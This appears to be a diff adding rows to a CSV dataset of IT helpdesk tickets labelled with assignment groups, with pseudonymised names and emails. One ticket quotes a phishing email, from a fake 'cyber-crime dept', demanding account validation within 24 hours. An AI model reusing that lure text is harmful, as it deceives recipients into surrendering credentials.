+_x000D_ +job Job_3049 failed in job_scheduler at: 10/01/2016 14:26:00",GRP_8 +call conference to nahytu call conference to nahytu,GRP_0 +password reset alert from o365 password reset alert from o365,GRP_0 +the e-mail account of horeduca ogrhivnm has come up in my outlook folders. this is a serious breach of security as she is in hr. please correct immediately,GRP_26 +reset passwords for wxdvjoct ckxwtoam using password_management_tool password reset. the,GRP_17 +"when trying to hit the one note button on existing crm opportunities, it gives attached errir message ms crm dynamics issue : collaboration_platform not mfg_toolting with crm_x000D_ +enabled collaboration_platform and collaboration_platform mfg_tooltion: saved changes, no go_x000D_ +added site to compatibility mode , reset , cleared cookies cache ..no go..._x000D_ + user not really sure if this worked before in past.",GRP_40 +reset passwords for ytzpxhql ntfxgpms using password_management_tool password reset. the,GRP_17 +erp password reset : SID_37 erp password reset : SID_37,GRP_0 +"vpn issue +summary:i can not log into the vpn for na",GRP_0 +windows account was locked out : unlocked account windows account was locked out : unlocked account,GRP_0 +engineering_tool installation for sathyrui shiragavi user id :; cpinsety01 and cpinsety02 channel partner - inspiron enterprise replied to email sending instructions how to install engineering_tool,GRP_0 +" problem when clicking on the shop link in purchasing when using internet explorer. +from: alkuozfr bhqgdoiu +sent: saturday, october 01, 2016 4:35 pm +to: zbpdhxvk nowxjztk; mpihysnw wrctgoan +cc: aghynilthykurtyar gorlithy; inxsupmy zhwmifvx; oxlqvika zrvbahym; rujteoza mcoswhjuanthila; dctviemg muapxkns; wfgtyill hannathry; nwfodmhc exurcwkm +subject: re: ie issues encountered + +all, +i am getting this problem when clicking on the shop link in purchasing when using internet explorer. +there is an error message that pops up. i should get a list of the catalogs but i do not. +it sends me to the below screen (second screen shot). not sure if this is my problem or more widespread +",GRP_29 +"reisekostenabrechnung in erp nicht möglich! _x000D_ +_x000D_ +received from: byclpwmv.esafrtbh@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +reisekostenabrechnung in erp leider nicht möglich. siehe fehlermeldung unten:_x000D_ +[cid:image001.jpg@01SID_35be6.bd6e34b0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_10 +"power outage : usa- (company) site hard down since 4:15 am et on 10/01 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________4:15 am et on 10/01_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____no____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"engineering_tool new customer creation please refer : inplant_864166 _x000D_ +_x000D_ +received from: skmdgnuh.utgclesd@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +still i am not able create new customer in engineering_tool, please resolve the issues at the earliest._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01SID_35be1.7d820430]_x000D_ +_x000D_ +with warm ",GRP_25 +"have problem to access erp hana-urgent _x000D_ +_x000D_ +received from: neokfwiy.ufriscym@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +same issue repeated again, have problem to use the programdnty._x000D_ +_x000D_ +please help to solve the issue aerp, need to run & submit the report on oct 3, 2016_x000D_ +_x000D_ +best ",GRP_0 +"email id: spelling error _x000D_ +_x000D_ +received from: santthyumar.shtyhant@company.com_x000D_ +_x000D_ +dear sir/madam,_x000D_ +_x000D_ +there is a correction needed in spelling of my email id_x000D_ +_x000D_ +existing email id: santthyumar.shtyhant@company.com_x000D_ +_x000D_ +email id to be changed to: ploxzuts.utvimnwo@gmail.com_x000D_ +_x000D_ +pl do the needful_x000D_ +_x000D_ +",GRP_2 +"job bkwin_infonet1_full failed in job_scheduler at: 10/01/2016 01:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_infonet1_full failed in job_scheduler at: 10/01/2016 01:39:00",GRP_8 +windows account locked windows account locked ,GRP_0 +"job Job_564 failed in job_scheduler at: 10/01/2016 00:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_564 failed in job_scheduler at: 10/01/2016 00:04:00 ",GRP_8 +"network outage : engineering_toolkuznetsk warehouse - site hard down since 6:32 pm et on 09/30. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________6:32 pm et on 09/30._____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____no__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ______no___ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job bkbackup_tool_HostName_768_prod_full failed in job_scheduler at: 09/30/2016 23:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_768_prod_full failed in job_scheduler at: 09/30/2016 23:59:00 ",GRP_8 +"job Job_534 failed in job_scheduler at: 10/01/2016 01:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_534 failed in job_scheduler at: 10/01/2016 01:04:00 ",GRP_8 +"job hr_payroll_na_u1 failed in job_scheduler at: 09/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 09/30/2016 23:00:00",GRP_10 +"job hr_payroll_na_u2 failed in job_scheduler at: 09/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 09/30/2016 23:00:00",GRP_10 +"job Job_2551 failed in job_scheduler at: 09/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2551 failed in job_scheduler at: 09/30/2016 23:00:00",GRP_8 +"job hr_payroll_na_u6 failed in job_scheduler at: 09/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 09/30/2016 23:00:00",GRP_10 +"job SID_56filesys failed in job_scheduler at: 09/30/2016 22:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56filesys failed in job_scheduler at: 09/30/2016 22:24:00",GRP_8 +"i was on a skype call when programdnty locked up. after restarting computer several times i can not log into skype as it fre name:wpdxlbhz etvzjmhx +language: +browser:microsoft internet explorer +email:wpdxlbhz.etvzjmhx@gmail.com +customer number: +telephone: +summary:i was on a skype call when programdnty locked up. after restarting computer several times i can not log into skype as it freezes every time. +also can not get speaker on laptop (2 in 1 dell device)",GRP_0 +"job Job_3186 failed in job_scheduler at: 09/30/2016 20:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3186 failed in job_scheduler at: 09/30/2016 20:00:00",GRP_10 +"laptop battery with full charge (indicates ~3hr 40 mint) but actual life ~ 2 hours. seeking replacement (original battery, two years old)_x000D_ +model: e7240 (dell - asset number 404917)_x000D_ +_x000D_ +also rubber around screen is separating - can this be replaced/reattached - or should i super glue?",GRP_3 +"vpv - i get this message when i try to log on to erp using my vpn lately. everything else works. + +received from: bwfhtumx.japznrvb@gmail.com + +[cid:image001.jpg@01SID_35b47.e1412191] + +bwfhtumx japznrvb + regional controller +bwfhtumx.japznrvb@gmail.com + + + + + + +",GRP_0 +":i have a new laptop, and tried to log into name:danyhuie deyhtwet +language: +browser:microsoft internet explorer +email:rozsyfai.zncajubh@gmail.com +customer number: +telephone: +summary:i have a new laptop, and tried to log into +enter the employee recognition site",GRP_0 +"engineering_tool issue engineering_tool issue._x000D_ +-connected to the user system using teamviewer._x000D_ +-educated the user on how to use the engineering_tool._x000D_ +-issue resolved.",GRP_0 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"unable to inwarehouse_tool _x000D_ +_x000D_ +received from: nuhfwplj.ojcwxser@gmail.com_x000D_ +_x000D_ +i am unable to force the inwarehouse_tool on the below, also. this too is consigned material and needs to inwarehouse_tool before the end of today._x000D_ +please help._x000D_ +_x000D_ +[cid:image001.png@01SID_35b32.40369391]_x000D_ +_x000D_ +",GRP_13 +"end of month billing _x000D_ +_x000D_ +received from: nuhfwplj.ojcwxser@gmail.com_x000D_ +_x000D_ +good afternoon,_x000D_ +_x000D_ +i am unable to force the billing for the below. this is consigned material and needs to inwarehouse_tool before the end of today._x000D_ +please help._x000D_ +_x000D_ +[cid:image001.png@01SID_35b31.6e02a420]_x000D_ +_x000D_ +",GRP_13 +password reset alert from o365 password reset alert from o365 ,GRP_0 +"global erp crm: any party change in complaint 7611184394 causes a blank screen upon saving, and the change is not saved global erp crm: any party change in complaint 7611184394 causes a blank screen upon saving, and the change is not saved._x000D_ +please investigate why this is happening and fix the problem.",GRP_20 +"ms crm dymanics : outlook client issue. +summary:can you help me set up a crm tab in my outlook ribbon?",GRP_0 +ticket update on inplant_865520 ticket update on inplant_865520,GRP_0 +audio issue : windows audio issue ; 7350 audio issue : windows audio issue ; 7350,GRP_0 +ticket update on inplant_865554 ticket update on inplant_865554,GRP_0 +password reset from password_management_tool password reset from password_management_tool,GRP_0 +insufficient permissions on web crm insufficient permissions on web crm,GRP_22 +"company distributor_tool is messed up. i enter through engineering_tool. it will not provide quote. error "" no ship-to for account entered does not matheywter which account number i use. major inconvenience",GRP_21 +"ms crm dynamics : outlook issue +summary:i need to have the crm tab added to my computer",GRP_0 +"a solution is needed to find a permanent fix to be able to use memotech. a solution is needed to find a permanent fix to be able to use memotech._x000D_ +_x000D_ +add ken.mstipsolutions.com"" to compatibility list",GRP_39 +reset the password for constance m wgtyillsford on erp / production / bw reset the password for constance m wgtyillsford on erp / production / bw,GRP_0 +"euromote entry error _x000D_ +_x000D_ +received from: brhlcpqv.sfozwkyx@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +could you please help me on entering the euromote to open erp from my personel wireless._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35b63.2c18a2d0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"urgent + +received from: uezonywf.rldbvipu@gmail.com + +after password change can't sign in to skype on dell 2 in 1. this has happened before and requires it to access my computer and delete files. + +tommyth duyhurmont +channel partner sales engineer +company inc. + +uezonywf.rldbvipu@gmail.com +www.company.com< + +[ + + + + + + + +",GRP_0 +ticket update on inplant_865534 ticket update on inplant_865534,GRP_0 +"vip 1 // finance_vip1 is unable to approve an expense report as its not showing in worklist from: lpoebzsc grknswyo +sent: friday, september 30, 2016 11:32 pm +to: nwfodmhc exurcwkm +subject: fw: expense report 8111118921 has been submitted. + +good afternoon. i tried entering an expense report for martha bank. i sent it for finance_vip1' approval and it is not showing up in his worklist. +i recently began supporting finance_vip1 and his team about a month ago. perhaps something needs to be updated in the system for me to be able enter expense reports on their behalf? +in the past when i have had issues with ess, i contacted kyefsrjc eadmpzcn, however he is on vacation today. + +your assistance in this matheywter is greatly appreciated. +",GRP_10 +back up tape still is not ejecting. back up tape not ejected today. unable to switch out tapes. previously switched them daily.,GRP_12 +"rma #6001504109 rma #7112615210_x000D_ +_x000D_ +workflow error rma needs to be processed before end of today",GRP_13 +"unable to access engineering_tool _x000D_ +_x000D_ +received from: vewdsifl.zjdmftkv@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +unable to access engineering_tool_x000D_ +following error message shown_x000D_ +[cid:image001.jpg@01SID_35b73.de8a24b0]_x000D_ +request support to resolve_x000D_ +_x000D_ +_x000D_ +",GRP_0 +vitalyst // crm configuration in outlook vitalyst // crm configuration in outlook,GRP_0 +unable to log in to windows to update password on password_management_tool unable to log in to windows to update password on password_management_tool,GRP_0 +"ms crm dynamics issue +summary:i have lost the crm ribbon in outlook.",GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"job bwsdslspln failed in job_scheduler at: 09/30/2016 13:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwsdslspln failed in job_scheduler at: 09/30/2016 13:15:00",GRP_9 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad all fine_x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +":i am unable to ""port.crm.dynamics.com"" name:zdcheloy aevzsogn +language: +browser:microsoft internet explorer +email:zdcheloy.aevzsogn@gmail.com +customer number: +telephone: +summary:i am unable to ""port.crm.dynamics.com""",GRP_0 +unable to login to distributor_tool as password expired unable to login to distributor_tool as password expired,GRP_0 +company mobile device activation. company mobile device activation,GRP_0 +"user ""kehtxprg uekapfzt"" is not able to access erp SID_34 hi team, _x000D_ +_x000D_ +need your help!_x000D_ +_x000D_ +request you to check as user ""kehtxprg uekapfzt"" is not able to access erp SID_34 in turn which is blocking him to approve pr. _x000D_ +_x000D_ +",GRP_0 +"audio driver issue +summary:hello, +my pc is formatheywted by local it but there is no sound.i think audio driver is not installed properly.could you help me ?",GRP_0 +password reset request password reset request,GRP_0 +"SID_34 password reset name:mityhuch ervuyin +language: +browser:microsoft internet explorer +email:rlmbxeso.ulmkxdfi@gmail.com +customer number: +telephone: +summary:i cannot log into netweaver",GRP_0 +engineering_tool access query engineering_tool access query ,GRP_0 +"dba team - disk space for engg dba is full, can not create safety data sheets any more i figured out that i can not create any new sds any more. this is on the production system +the engg experts came back with the following issue: + +hi , + +the drive where the engg prod db lives on is full. the dba's have to make it bigger. +so, it's just a matheywter of having enough disk space. +can you let them know? + +",GRP_12 +"ooo until 5/oct/ : \\HostName_771\teams\materials ooo until 5/oct/_x000D_ +_x000D_ +received from: zxobmreq.udikorhv@gmail.com_x000D_ +_x000D_ +need access to \\HostName_771\teams\materials, on my computer system._x000D_ +",GRP_0 +"password and engineering tool _x000D_ +_x000D_ +received from: peojqgvm.qayeptuo@gmail.com_x000D_ +_x000D_ +i have let my password expire and need help getting back into our systems._x000D_ +_x000D_ +_x000D_ +",GRP_0 +please delete the transport SID_35k910404 delete the transport from the buffer SID_35k910404,GRP_14 +"abap report zsd_price_field_update update for rqfhiong zkwfqagb fields not working for me. please note that i am receiving an error message when trying to update rqfhiong zkwfqagb fields when using the zsd_price_field_update abap programdnty. please see screenshots of error message. i have also attached the uacyltoe hxgaycze file that i was uploading. i am able to change the material pricing group through transaction mm02. therefore, i don't think that it is a security problem.",GRP_13 +"crm app + +received from: vybmcrxo.kirxdspz@gmail.com + +hello, +trying to load the mobile crm app on iphone and while trying to run, putting in the ""we're sorry your server is not available or does not support this application"" + +vybmcrxo kirxdspz +applications engineer + +vybmcrxo.kirxdspz@gmail.com + + + +",GRP_0 +"cannot access \\HostName_779\engineering_application from vpn.company using vvblothryor - inc1553079 closed not fixed cannot access \\HostName_779\engineering_application from vpn.company using vvbloor - inc1553079 closed not fixed. please do not assign to vidya. computer lbdl8513228 can access the \\HostName_779\engineering_application using other sign-ons. dudekm signed onto the computer and it works. vvbloor can sign-on to the computer and use dudekm to sign-on to the vpn and it works. it does not work when vvbloor signs-on to the vpn. vvblorytor can access other servers HostName_776, HostName_768. just cannot access HostName_779.",GRP_12 +"travel_tool + +received from: zdcheloy.aevzsogn@gmail.com + +my manager was changed to mhtyike szumyhtulas in july but my travel is still going to my previous manager qvhixotw rxutkyha. i tried to change in travel_tool but it is greyed out. can this be changed to correct manager? + +zdcheloy aevzsogn +manager, business operational excellence +zdcheloy.aevzsogn@gmail.com +",GRP_0 +"help with files engineering_tool - error hi team, _x000D_ +_x000D_ +could you please, help user urgapyzt tnxiuramdnty to open files the engineering_tool (engineering_tool)._x000D_ +_x000D_ +he did downloaded the file in site _x000D_ +""error the verification (name_file).ktr. the file is with error"". _x000D_ +_x000D_ +this message appears to all files the site. in attachment i'm including the screen with error and the file .zip._x000D_ +_x000D_ +let me know if you have more doubts, you can contact with user. _x000D_ +_x000D_ +",GRP_25 +unable to login to pc windows account locked out.,GRP_0 +logon balancing error in erp logon balancing error in erp ,GRP_0 +login to citrix tro access erp ; vvparthyrra : password change request from manager login to citrix tro access erp ; vvparthyrra : password change request from manager,GRP_0 +laptop not booting up qksrtvzb vjkftuai said that he spilled some coffee on his laptop yesterday and since then the machine is not booting up and he wants to get this checked and replaced if necessary.,GRP_3 +please create an rma# for the nov-tx return. please see attachments.,GRP_13 +ticket update ticket update ,GRP_0 +"extend the account - vvnewthey - urgent account has expired on september 29th_x000D_ +need to extend the account until the end of the year._x000D_ +_x000D_ +need this done as soon as possible, as the employee is assisting with tasks that are related to an employee who is leaving the company today._x000D_ +please expedite.",GRP_2 +ms crm dymanics : giving error message while loading outlook ms crm dymanics : giving error message while loading outlook,GRP_0 +need an update on inplant_865235 need an update on inplant_865235,GRP_0 +synchronization log mails after accepting calendar invite synchronization log mails after accepting calendar invite ,GRP_0 +infopath installation infopath installation ,GRP_0 +phishing emails uacyltoe hxgaycze query phishing emails uacyltoe hxgaycze query ,GRP_0 +"[usa] order not moving to to-do list 5 hours after confirmations please see attached ppt, op 20 is confirmed but order is not showing up in op 25's to-do list even after 5 hours. (both ops are in same work center)_x000D_ +my understanding is that the background job runs every 15 minutes",GRP_41 +"printer driver not loading properly usa bd05 printer says it needs drivers updated, but continually fails to update or allow printing.",GRP_3 +"engineering tool i am experiencing a reoccurring issue with my erp/engineering tool. i am not able to display original files (pdf's and stp's). this is a major function in my role and unable to complete any work unless it is resolved. this issue occurs every time an upgrade occurs to erp or engineering tool._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"spam email from: vkzwafuh tcjnuswg +sent: friday, september 30, 2016 6:20 pm +to: nwfodmhc exurcwkm +subject: amar fw: you must validate your account + +hi, +is this a legitimate email or a scam? + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + +from: cyber-crime dept [mailto:cybercrime@secure.safe-browsing.com] +sent: friday, september 30, 2016 3:33 am +to: vkzwafuh tcjnuswg +subject: you must validate your account + +dear mail user, +as part of the security measures to secure all email users across the world, all email users are mandated to have their account details registered as requested by the cyber-crime dept. +you are here by required to validate your account within 24 hours so as not to have your email account suspended and deleted from the world email server. +kindly validate your email account to have your account registered, please click here. +",GRP_0 +"need tc48 printer set up i am trying to connect to network printer tc48 located in the tech. center. my computer is having issues finding the correct driver to link to the printer. please assist, ",GRP_0 +outlook calendar invite issue outloook calendar invites are automatically creating multiple meeting requests when a single meeting entry is sent. causing issues for customers internal and external by filling inboxes with multiple invites for same meeting and resending invite every day up to the meeting and causing confusion. please advise help aerp. ,GRP_0 +computer in tool and cutter is down computer in tool and cutter is down,GRP_3 +"anmelden bei outlook nicht möglich anmelden bei outlook seit passwort ändern nicht möglich +tel: ",GRP_42 +adding shared mailbox to outlook adding shared mailbox to outlook,GRP_0 +workcenter description showing user ids issue reported from us_plant. please see attached picture,GRP_41 +"company center- passwords do not work---- need fixed aerp hi, i created accounts in company center and they aren't working. can someone please call me as soon as possible? it would be great if the person who contacts me has access to active directory because i think this may be the problem. ",GRP_2 +account got locked account got locked,GRP_0 +engineering tool install request non company pc - windows 8.1 operating system - surthryr stahyru,GRP_0 +unable to load outlook unable to load outlook ,GRP_0 +need to retrieve deleted emails need to retrieve deleted emails,GRP_0 +"z_chk issue del# 9169472003 hello,_x000D_ +_x000D_ +_x000D_ +we are facing an issue of the below screen shot. please help us how to resolve this issue. we are very urgent to complete this stragiht away._x000D_ +_x000D_ +",GRP_18 +"remote SID_1 connection open for oss 344427 / 2016 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1_x000D_ +_x000D_ +enter user id of user having the issue: vv344427 and please copy the same roles of kawtidthry._x000D_ +_x000D_ +transaction code(s) the user needs or was working with: va23 _x000D_ +_x000D_ +describe the issue: please open the SID_1 connection to erp and provide remote login data to erp._x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +india:high latency/packet drops:telecom_vendor_1 sr:25128965 & 25132562 india:high latency/packet drops,GRP_8 +"hello please urgently fix! mwst　error。。。 mm7218674 best regards. hello_x000D_ +_x000D_ +please urgently fix!_x000D_ +_x000D_ +mwst　error。。。_x000D_ +_x000D_ +mm7218674_x000D_ +_x000D_ +best ",GRP_13 +probleme mit drucken \vermessungsmaschine für stäbe \eaodcgsw trmzwbyc probleme mit drucken \vermessungsmaschine für stäbe \eaodcgsw trmzwbyc,GRP_24 +support für alicona \jionmpsf wnkpzcmv support für alicona \jionmpsf wnkpzcmv,GRP_24 +error when qualifying lead by user prarthyr jhr refer email sent,GRP_40 +restart the company service in HostName_1041 restart the company service in HostName_1041,GRP_8 +"fw: you must validate your account dear it help,_x000D_ +_x000D_ +i got below email, what should i do? is it corporate instruction or external party which no need to follow. _x000D_ +_x000D_ +please advice._x000D_ +_x000D_ +best ",GRP_0 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +german call german call,GRP_0 +"need addiitional software and email settings checked. from: wykigmnz wvdgopybrumugam +sent: 06 september 2016 17:21 +to: mgyhnsat aswubnyd +cc: sridthshar herytur; mvfnbces urbckxna1; dargthya jayartheuy; amihtar lalthy; tcqpyuei becoxvqkahadikar; jayatramdntydba cvyg +subject: re: old laptop e-6410 or e- 6420 + +dear mr., + +i am started using the new laptop & the following issue facing. + +s no requirement / problem remarkhtys +1 csm module not working properly +2 wrench_engineering_toolent software not available +3 fanuc ladder software not available +4 in mail, some option not working properly +5 dwg true viewer software required + +please do the needful. + +best ",GRP_19 +log on balancing error. log on balancing error.,GRP_0 +ticket update inplant_862430 ticket update inplant_862430,GRP_0 +"engineering tool not working _x000D_ +_x000D_ +received from: ftsqkvre.bqzrupic@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +ivohcdpw ixcanwbm is not able to access his engineering tool. he has requested for help also from it but till date nothing has moved ahead. please help nthryitin to get access to engineering tool and install the same at earliest._x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +german call german call,GRP_0 +"drucker em26 druckt mit bis zu 2 std. verzögerung (printer can not be pinged. see attachment) drucker em26 druckt mit bis zu 2 std. verzögerung _x000D_ +wird von pc eemw8144218 aus gedruckt ce ap messecke_x000D_ +_x000D_ +• printer name / make - model? (ex hq50 – wy98 - hp 8150) : em26_x000D_ +• detailed description of the problem ? : printer takes too long time to print. error :' 49.ff04 error. turn off then on' . the printer is restarted a couple of times. does not help. printer can not be pinged. (see attachment) it looks like it's a non existing printer._x000D_ +_x000D_ +• type of documents not printing? (email – excel – word…etc) : data from access datenbank, excel_x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +• what system or application being used at time of the problem? (ex windows / erp /kls) : windows",GRP_42 +"info type '0017' is missing to personal numbers 5264454, 5634451 & 5659454 from: lmwohkbd ucziatex +sent: friday, september 30, 2016 11:42 am +to: nyifqpmv kfirxjag +subject: aw: travel expense manager + +hello + +transaktion „pr05"" also doesn't work for personal no's 56595674 and 5634561. + +mit freundlichen grüßen + +lmwohkbd ucziatex +programdnty engineering europe +lmwohkbd.ucziatex@gmail.com + +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + +von: lmwohkbd ucziatex +gesendet: freitag, 30. september 2016 08:03 +an: nyifqpmv kfirxjag +betreff: travel expense manager + +hello + +„travel expense manager"" doesn't work! + + + + +mit freundlichen grüßen + +lmwohkbd ucziatex +programdnty engineering europe +lmwohkbd.ucziatex@gmail.com + +",GRP_10 +"vpn access for elcpduzg eujpstxi (graurkart) _x000D_ +_x000D_ +received from: fbyusmxz.kxvmcbly@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please set up vpn access for elcpduzg eujpstxi (graurkart)._x000D_ +rudolf has a kennmetal owned laptop eeml703222_x000D_ +",GRP_0 +"outlook was not accepting password user change the password through vpn._x000D_ +user was getting a password prompt.",GRP_0 +"script jb_ecc_bw_zsd531 to pull august 2016 month data and revert back to delta extraction. we are in the process of refreshing history in rr. we need to modify bobj script jb_ecc_bw_zsd531 to pull august 2016 month new pricing sales data from zsd532 by giving date range. we need to move the changes to production and extract the data today itself. once the data is extracted, we will revert back the programdnty jb_ecc_bw_zsd531 to extract delta data.",GRP_20 +"job Job_593 failed in job_scheduler at: 09/30/2016 04:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/30/2016 04:36:00",GRP_8 +probleme mit skype und outlook \ user :dardabthyr probleme mit skype und outlook \ user :dardabthyr,GRP_24 +probleme mit skype und outlook \dardabthyr probleme mit skype und outlook \dardabthyr,GRP_0 +kannst du bitte noch mal 2 usb-sticks 16 gb besorgen bei uns ist wieder einer kaputt gegangen kannst du bitte noch mal 2 usb-sticks 16 gb besorgen bei uns ist wieder einer kaputt gegangen,GRP_24 +"unser kopierer we 95 (hp laserjet) zeigt fehlermeldung „transfereinheit fehlt"" an. unser kopierer we 95 (hp laserjet) zeigt fehlermeldung „transfereinheit fehlt"" an.",GRP_24 +"erp access issue : refrence to oss 337622 / 2016 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1 + +enter user id of user having the issue: vv337622 + +transaction code(s) the user needs or was working with: va01 & please copy the roles of user id kawtidthry. + +describe the issue: please provide remote login credentials and update in oss secure connection area. + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +"ir posting error_urgently _x000D_ +_x000D_ +received from: tkjypfze.jxompytk@gmail.com_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +kindly create a ticket and assign it to me_x000D_ +_x000D_ +",GRP_10 +"enterprise scanner is freezing. enterprise scanner is freezing. +telephone:",GRP_0 +"job bk_biaprod failed in job_scheduler at: 09/30/2016 03:47:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[major] from: bma@HostName_1304.hq.company.com ""lib6_drive4"" time: 9/30/2016 3:45:46 am_x000D_ +[90:51] /dev/rmt35.1_x000D_ + cannot write to device ([5] i/o error)_x000D_ +_x000D_ +job bk_biaprod failed in job_scheduler at: 09/30/2016 03:47:00",GRP_8 +"ir posting error_urgently _x000D_ +_x000D_ +received from: ihfkwzjd.erbxoyqk@gmail.com_x000D_ +_x000D_ +dear it team_x000D_ +_x000D_ +kindly fixed it transaction error as below within 30/9/19 to avoid difference for intercompany reconciliation._x000D_ +_x000D_ +_x000D_ +1. ir transaction has not been posted._x000D_ +[cid:image003.jpg@01SID_35b29.6f9d3af0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +2. duplicate ir transaction._x000D_ +[cid:image006.jpg@01SID_35b29.6f9d3af0]_x000D_ +_x000D_ +best ",GRP_10 +"vpn安装-转贺正平 + +received from: tuqrvowp.fxmzkvqo@gmail.com + +请帮忙安装vpn软件， 转贺正平 + + +tuqrvowp fxmzkvqo 钱唐鑫 +human resources +tuqrvowp.fxmzkvqo@gmail.com + + +上海升阳超微粉有限公司 +上海市奉贤区陈桥路1508号 +邮编：201400 + +",GRP_30 +"job Job_2645 failed in job_scheduler at: 09/30/2016 03:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/30/2016 03:35:00",GRP_6 +"please approve primary email of jeknosml gkcoltsy in ms crm hello_x000D_ +please approve primary email of jeknosml gkcoltsy in ms crm prod and train. email: jeknosml.gkcoltsy@gmail.com_x000D_ +_x000D_ +",GRP_16 +"""po not created"" _x000D_ +_x000D_ +received from: vhlepcta.lqbgcxpt@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +could you please check the error and help us? we cannot create the inwarehouse_tool for this delivery for 3 months because of this error and it cannot be solved._x000D_ +_x000D_ +your urgent support is needed._x000D_ +",GRP_13 +"erp is very slow, please resolve the issue on urgent basis. _x000D_ +_x000D_ +received from: ohdrnswl.rezuibdt@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +erp is very slow, please resolve the issue on urgent basis._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"i have lost my access to reporting_tool in crm as per notes below from: dthyan matheywtyuews +sent: 